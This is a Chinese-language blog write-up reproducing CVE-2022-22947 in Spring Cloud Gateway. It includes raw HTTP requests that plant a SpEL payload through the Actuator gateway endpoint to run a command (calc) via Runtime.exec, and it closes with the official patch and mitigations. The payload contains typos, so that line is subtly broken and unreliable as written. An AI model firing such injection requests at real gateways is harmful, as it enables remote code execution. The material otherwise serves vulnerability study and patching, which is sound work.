CVE-2022-22947 漏洞复现及分析

警告
本文最后更新于 2022-04-07,文中内容可能已过时。

在微服务架构中,由于一个系统由多个服务组成,客户端不再直接请求服务,而是添加了API网关的概念。客户端直接向API网关发起请求,由API网关对请求进行处理,并分发给不同的服务。

具体区别如下图:

Gateway&Direct
Gateway&Direct.png

Spring Cloud Gateway 是 Spring Cloud 团队基于 Spring 5.0、Spring Boot 2.0 和 Project Reactor 等技术开发的高性能 API 网关组件。

Spring Cloud GateWay 最主要的功能就是路由转发,而在定义转发规则时主要涉及了以下三个核心概念,如下表。

核心概念描述
Route(路由)网关最基本的模块。它由一个 ID、一个目标 URI、一组断言(Predicate)和一组过滤器(Filter)组成。
Predicate(断言)路由转发的判断条件,我们可以通过 Predicate 对 HTTP 请求进行匹配,例如请求方式、请求路径、请求头、参数等,如果请求与断言匹配成功,则将请求转发到相应的服务。
Filter(过滤器)过滤器,我们可以使用它对请求进行拦截和修改,还可以使用它对响应进行再处理。

官方文档: https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#actuator-api

通过/gateway这个Actuator可以监控并且和网关进行交互,前提是将该endpoint暴露给Web

通过配置application.properties允许web访问api

properties

management.endpoint.gateway.enabled=true # default value
management.endpoints.web.exposure.include=gateway

网关支持的所有操作如下图,我们可以看到其支持通过POST请求添加一个新的route

20220409184431
20220409184431.png

官网给出的例子如下,可以创建一个简单的Route

20220409200636
20220409200636.png

上面的路由中最关键的过滤器为空,官方提过了多种自定义过滤器
https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#the-rewritepath-gatewayfilter-factory

RewritePath为例:

20220409205530
20220409205530.png

发送如下两个请求就可以添加一个路由器,并将http://127.0.0.1:9000/red重定向为https://blog.dre4merp.top/

text

POST /actuator/gateway/routes/new_route HTTP/1.1
Host: 127.0.0.1:9000
Connection: close
Content-Type: application/json
Content-Length: 346


{
  "predicates": [
    {
      "name": "Path",
      "args": {
        "_genkey_0": "/red/**"
      }
    }
  ],
  "filters": [
    {
      "name": "RewritePath",
      "args": {
        "_genkey_0": "/red/?(?<path>.*)",
        "_genkey_1": "/${path}"
      }
    }
  ],
  "uri": "http://blog.dre4merp.top",
  "order": 0
}

text

POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:9000
Connection: close
Content-Length: 2

Spring表达式语言(简称 SpEL,全称Spring Expression Language)是一种功能强大的表达式语言,支持在运行时查询和操作对象图。它语法类似于OGNL,MVEL和JBoss EL,在方法调用和基本的字符串模板提供了极大地便利,也开发减轻了Java代码量。另外 , SpEL是Spring产品组合中表达评估的基础,但它并不直接与Spring绑定,可以独立使用。

查看类的继承关系,发现所有的内置filterFactory都实现了ShortcutConfigurable接口,所以添加的过滤器都会经过ShortcutConfigurable

20220410180153
20220410180153.png

漏洞点就位于org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue中,查看源码发现filter的参数支持SpEL表达式,而且是通过StandardEvaluationContext使用表达式,完美满足了SpEL表达式注入的条件。

java

static Object getValue(SpelExpressionParser parser, BeanFactory beanFactory, String entryValue) {
    Object value;
    String rawValue = entryValue;
    if (rawValue != null) {
        rawValue = rawValue.trim();
    }
    if (rawValue != null && rawValue.startsWith("#{") && entryValue.endsWith("}")) {
        // assume it's spel
        StandardEvaluationContext context = new StandardEvaluationContext();
        context.setBeanResolver(new BeanFactoryResolver(beanFactory));
        Expression expression = parser.parseExpression(entryValue, new TemplateParserContext());
        value = expression.getValue(context);
    }
    else {
        value = entryValue;
    }
    return value;
}

text

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 127.0.0.1:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en
Content-Type: application/json
Content-Length: 340

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {"name": "Result","value": "#{new java.lang.Strin(T(org.springframework.util.StreamUtils).copyToByteArray((java.lang.Runtime).getRuntime().exec(new String[{\"calc\"}).getInputStream()))}"}
    }],
  "uri": "https://blog.dre4merp.top",
  "order": 0
}

text

POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

官方已经发布了针对CVE-2022-22947的补丁

20220411114937
20220411114937.png

具体方案如下:

ShortcutConfigurable 接口中的 getValue 方法中,使用自定义的 GatewayEvaluationContext 类替换了原来的 StandardEvaluationContext 类。查看 GatewayEvaluationContext 类的实现可知,其是对 SimpleEvaluationContext 类的简单封装。

通过查询文档可知,StandardEvaluationContextSimpleEvaluationContext 都类是执行 Spring 的 SpEL 表达式的接口,区别在于前者支持 SpEL 表达式的全部特性,后者相当于一个沙盒,限制了很多功能,如对 Java 类的引用等。因此通过将 StandardEvaluationContext 类替换为 GatewayEvaluationContext 类,可以限制执行注入的 SpEL 表达式。

通过前面的漏洞利用过程可以看到,首先需要通过 /actuator/gateway/routes/{id} API 创建一条路由。因此将此 API 禁止,也可实现漏洞的修复。根据 Actuator 的 API 文档可知,启用 actuator gateway 需要设置以下两个配置的值:

text

management.endpoint.gateway.enabled=true # default value
management.endpoints.web.exposure.include=gateway

因此只要这两个选项不同时满足,就不会启用 actuator gateway。

通过Agent技术将内存中的ShortcutConfigurable#getValue修改为使用GatewayEvaluationContext调用SpEL表达式。